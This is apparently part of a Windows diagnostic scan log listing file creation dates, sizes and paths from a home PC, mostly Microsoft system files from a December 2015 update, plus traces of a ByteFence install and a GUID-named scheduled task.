2015-12-31 16:16 - 2015-12-31 16:16 - 00023370 _____ C:\WINDOWS\System32\Tasks\{0D0F7A47-050C-7F0A-0B11-7E0F7F78117A}
2015-12-31 16:16 - 2015-12-31 16:16 - 00003552 _____ C:\WINDOWS\System32\Tasks\ByteFence Scan
2015-12-31 16:16 - 2015-12-31 16:16 - 00003450 _____ C:\WINDOWS\System32\Tasks\ByteFence
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ByteFence Anti-Malware
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\ByteFence
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\3d7baade-58d1-0
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\3d7baade-1733-1
2015-12-31 16:15 - 2016-01-01 13:38 - 00000000 ____D C:\Program Files\ByteFence
2015-12-31 16:15 - 2015-12-31 17:39 - 00000000 ____D C:\Users\Larry\AppData\Local\{C2C3F49F-E66B-9827-8BF3-BDCFAF9B4157}
2015-12-31 16:14 - 2015-12-31 16:14 - 00880208 _____ (Google Inc.) C:\Users\Larry\Downloads\ChromeSetupFree.exe
2015-12-30 21:26 - 2015-12-30 21:26 - 00000000 ____D C:\Users\Larry\AppData\Local\MicrosoftEdge
2015-12-21 16:00 - 2015-12-21 16:00 - 00000000 ____D C:\WINDOWS\system32\SleepStudy
2015-12-18 20:34 - 2015-12-18 20:34 - 00000000 ____D C:\Users\Larry\AppData\Local\ElevatedDiagnostics
2015-12-18 19:31 - 2015-12-18 19:31 - 00000000 ____D C:\Users\Larry\AppData\Local\NetworkTiles
2015-12-18 14:57 - 2015-12-18 14:34 - 00000000 ___DC C:\WINDOWS\Panther
2015-12-18 14:50 - 2015-12-18 14:50 - 00000000 ____D C:\Windows.old
2015-12-18 14:48 - 2015-12-18 14:48 - 24601600 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 22572632 _____ (Microsoft Corporation) C:\WINDOWS\system32\shell32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 22393856 _____ (Microsoft Corporation) C:\WINDOWS\system32\edgehtml.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 21125408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\shell32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 19339264 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 18678272 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\edgehtml.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 16984064 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Xaml.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 13381120 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieframe.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 13017600 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Xaml.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 12125184 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieframe.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 11545088 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 09918976 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\twinui.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 07979008 _____ (Microsoft Corporation) C:\WINDOWS\system32\mos.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 07476576 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntoskrnl.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 07199232 _____ (Microsoft Corporation) C:\WINDOWS\system32\BingMaps.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 06572032 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwanmm.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 06297088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mos.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 05202944 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\BingMaps.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 03993600 _____ (Microsoft Corporation) C:\WINDOWS\system32\SettingsHandlers_nt.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 03671888 _____ (Microsoft Corporation) C:\WINDOWS\system32\iertutil.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 03593216 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kfull.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 03428864 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 03355136 _____ (Microsoft Corporation) C:\WINDOWS\system32\msftedit.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02919320 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iertutil.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02843136 _____ (Microsoft Corporation) C:\WINDOWS\system32\cdp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02796032 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02772584 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3d11.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02756096 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.tlb
2015-12-18 14:48 - 2015-12-18 14:48 - 02756096 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.tlb
2015-12-18 14:48 - 2015-12-18 14:48 - 02680320 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msftedit.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02653816 _____ C:\WINDOWS\system32\CoreUIComponents.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02647552 _____ (Microsoft Corporation) C:\WINDOWS\system32\wininet.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02624512 _____ (Microsoft Corporation) C:\WINDOWS\system32\InputService.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02598400 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetworkMobileSettings.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02582016 _____ (Microsoft Corporation) C:\WINDOWS\system32\MFMediaEngine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02544256 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfcore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02444288 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.appcore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02352128 _____ (Microsoft Corporation) C:\WINDOWS\system32\authui.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02280448 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuaueng.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02185840 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3d11.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02180136 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfcore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02155008 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\authui.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02152800 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ntfs.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 02126848 _____ (Microsoft Corporation) C:\WINDOWS\system32\inetcpl.cpl
2015-12-18 14:48 - 2015-12-18 14:48 - 02121216 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wininet.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02061824 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MFMediaEngine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02049024 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\inetcpl.cpl
2015-12-18 14:48 - 2015-12-18 14:48 - 02001408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\twinui.appcore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01995776 _____ (Microsoft Corporation) C:\WINDOWS\system32\ActiveSyncProvider.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01944576 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InputService.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01860096 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\cdp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01859448 _____ C:\WINDOWS\SysWOW64\CoreUIComponents.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01817160 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntdll.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01814528 _____ (Microsoft Corporation) C:\WINDOWS\system32\pnidui.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01734656 _____ (Microsoft Corporation) C:\WINDOWS\system32\urlmon.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01717248 _____ (Microsoft Corporation) C:\WINDOWS\system32\GdiPlus.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01713664 _____ (Microsoft Corporation) C:\WINDOWS\system32\SRHInproc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01706496 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ActiveSyncProvider.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01648640 _____ (Microsoft Corporation) C:\WINDOWS\system32\comsvcs.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01540768 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ntdll.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01505280 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\urlmon.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01467392 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\GdiPlus.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01443328 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SRHInproc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01399224 _____ (Microsoft Corporation) C:\WINDOWS\system32\user32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01395200 _____ (Microsoft Corporation) C:\WINDOWS\system32\UIAutomationCore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01393664 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kbase.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 01387008 _____ (Microsoft Corporation) C:\WINDOWS\system32\lsasrv.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01337240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\user32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01328128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\comsvcs.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01318912 _____ (Microsoft Corporation) C:\WINDOWS\system32\wifinetworkmanager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01299504 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfnetsrc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01281376 _____ (Microsoft Corporation) C:\WINDOWS\system32\LicenseManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01268736 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Xaml.Resources.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01268736 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Xaml.Resources.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01223168 _____ (Microsoft Corporation) C:\WINDOWS\system32\Unistore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01212928 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwansvc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01155944 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfasfsrcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01139200 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UIAutomationCore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01131520 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.Audio.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01118208 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfnetsrc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01105920 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.Audio.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01092456 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfplat.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01065080 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfmp4srcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01063424 _____ (Microsoft Corporation) C:\WINDOWS\system32\audiosrv.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01056256 _____ (Microsoft Corporation) C:\WINDOWS\system32\JpMapControl.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01042432 _____ (Microsoft Corporation) C:\WINDOWS\system32\BingOnlineServices.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01035776 _____ (Microsoft Corporation) C:\WINDOWS\system32\XboxNetApiSvc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 01020096 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfsrcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00988160 _____ (Microsoft Corporation) C:\WINDOWS\system32\NMAA.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00983464 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfasfsrcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00973664 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\LicenseManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00969728 _____ (Microsoft Corporation) C:\WINDOWS\system32\kerberos.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00957440 _____ (Microsoft Corporation) C:\WINDOWS\system32\SRH.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00948224 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Unistore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00948224 _____ (Microsoft Corporation) C:\WINDOWS\system32\XblAuthManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00938496 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapControlCore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00931328 _____ (Microsoft Corporation) C:\WINDOWS\system32\MSMPEG2ENC.DLL
2015-12-18 14:48 - 2015-12-18 14:48 - 00925064 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfplat.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00912384 _____ (Microsoft Corporation) C:\WINDOWS\system32\usermgr.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00911648 _____ (Microsoft Corporation) C:\WINDOWS\system32\dcomp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00900608 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Networking.BackgroundTransfer.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00898184 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfsrcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00884256 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfmp4srcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00871936 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MSMPEG2ENC.DLL
2015-12-18 14:48 - 2015-12-18 14:48 - 00870400 _____ (Microsoft Corporation) C:\WINDOWS\system32\wpncore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00870400 _____ (Microsoft Corporation) C:\WINDOWS\system32\modernexecserver.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00850432 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapsStore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00824320 _____ (Microsoft Corporation) C:\WINDOWS\system32\WpcWebFilter.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00823264 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfmpeg2srcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00809312 _____ (Microsoft Corporation) C:\WINDOWS\system32\WWAHost.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00803840 _____ (Microsoft Corporation) C:\WINDOWS\system32\jscript.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00800768 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\JpMapControl.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00795840 _____ (Microsoft Corporation) C:\WINDOWS\system32\generaltel.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00794888 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfds.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00793600 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SRH.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00791552 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\kerberos.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00784896 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NMAA.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00783360 _____ (Microsoft Corporation) C:\WINDOWS\system32\msfeeds.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00764928 _____ (Microsoft Corporation) C:\WINDOWS\system32\fveapi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00716928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfmpeg2srcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00711680 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MapControlCore.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00709120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\BingOnlineServices.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00704352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WWAHost.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00704000 _____ (Microsoft Corporation) C:\WINDOWS\system32\CellularAPI.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00698208 _____ (Microsoft Corporation) C:\WINDOWS\system32\wimgapi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00697856 _____ (Microsoft Corporation) C:\WINDOWS\system32\PlayToManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00696160 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupEngine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00686592 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msfeeds.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00683008 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Networking.BackgroundTransfer.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00675064 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dcomp.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00674816 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00670928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfds.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00647168 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00638464 _____ (Microsoft Corporation) C:\WINDOWS\system32\enterprisecsps.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00630632 _____ (Microsoft Corporation) C:\WINDOWS\system32\fontdrvhost.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00623616 _____ (Microsoft Corporation) C:\WINDOWS\system32\PhoneProviders.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00618496 _____ (Microsoft Corporation) C:\WINDOWS\system32\StorSvc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00607232 _____ (Microsoft Corporation) C:\WINDOWS\system32\wcmsvc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00604928 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\cng.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00604672 _____ (Microsoft Corporation) C:\WINDOWS\system32\vbscript.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00589312 _____ (Microsoft Corporation) C:\WINDOWS\system32\MbaeApi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00586208 _____ (Microsoft Corporation) C:\WINDOWS\system32\mf.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00586080 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wimgapi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00578912 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\afd.sys
2015-12-18 14:48 - 2015-12-18 14:48 - 00572928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WpcWebFilter.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00569856 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\qdvd.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00558080 _____ (Microsoft Corporation) C:\WINDOWS\system32\MBMediaManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00543232 _____ (Microsoft Corporation) C:\WINDOWS\system32\StoreAgent.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00540752 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fontdrvhost.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00538632 _____ (Microsoft Corporation) C:\WINDOWS\system32\WWanAPI.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00536768 _____ (Microsoft Corporation) C:\WINDOWS\system32\AudioSes.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00526856 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfreadwrite.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00523776 _____ (Microsoft Corporation) C:\WINDOWS\system32\catsrvut.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00523616 _____ (Microsoft Corporation) C:\WINDOWS\system32\wimserv.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00517632 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PlayToManager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00517632 _____ (Microsoft Corporation) C:\WINDOWS\system32\winspool.drv
2015-12-18 14:48 - 2015-12-18 14:48 - 00516544 _____ (Microsoft Corporation) C:\WINDOWS\system32\AudioEng.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00515584 _____ (Microsoft Corporation) C:\WINDOWS\system32\LogonController.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00511320 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mf.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00503296 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\vbscript.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00502112 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupEngine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00498448 _____ (Microsoft Corporation) C:\WINDOWS\system32\MFCaptureEngine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00497152 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfmkvsrcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00490496 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00470528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MbaeApi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00465920 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwanconn.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00462760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfreadwrite.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00459776 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapConfiguration.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00458752 _____ (Microsoft Corporation) C:\WINDOWS\system32\PlayToDevice.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00454056 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AudioEng.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00450904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MFCaptureEngine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00450560 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Internal.Bluetooth.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00440160 _____ (Microsoft Corporation) C:\WINDOWS\system32\services.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00431232 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WWanAPI.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00421888 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\LogonController.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00416768 _____ (Microsoft Corporation) C:\WINDOWS\system32\dmenrollengine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00415744 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\catsrvut.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00414720 _____ (Microsoft Corporation) C:\WINDOWS\system32\bcastdvr.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00412512 _____ (Microsoft Corporation) C:\WINDOWS\system32\wifitask.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00409088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\StoreAgent.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00408128 _____ (Microsoft Corporation) C:\WINDOWS\system32\AUDIOKSE.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00405048 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AudioSes.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00400896 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\winspool.drv
2015-12-18 14:48 - 2015-12-18 14:48 - 00387072 _____ (Microsoft Corporation) C:\WINDOWS\system32\qdvd.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00382464 _____ (Microsoft Corporation) C:\WINDOWS\system32\iedkcs32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00381952 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfmkvsrcsnk.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00375296 _____ (Microsoft Corporation) C:\WINDOWS\system32\MDEServer.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00369912 _____ (Microsoft Corporation) C:\WINDOWS\system32\audiodg.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00366224 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AUDIOKSE.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00365568 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\atmfd.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00346112 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MapConfiguration.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00345600 _____ (Microsoft Corporation) C:\WINDOWS\system32\TextInputFramework.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00342016 _____ (Microsoft Corporation) C:\WINDOWS\system32\SensorService.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00340480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PlayToDevice.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00337840 _____ (Microsoft Corporation) C:\WINDOWS\system32\MFPlay.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00334848 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iedkcs32.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00334736 _____ (Microsoft Corporation) C:\WINDOWS\system32\policymanager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00334336 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\bcastdvr.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 00323072 _____ (Microsoft Corporation) C:\WINDOWS\system32\MSFlacDecoder.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00320000 _____ (Microsoft Corporation) C:\WINDOWS\system32\cryptngc.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00315904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Internal.Bluetooth.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00303104 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\atmfd.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00296488 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\policymanager.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00292352 _____ (Microsoft Corporation) C:\WINDOWS\system32\provengine.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00289248 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MFPlay.dll
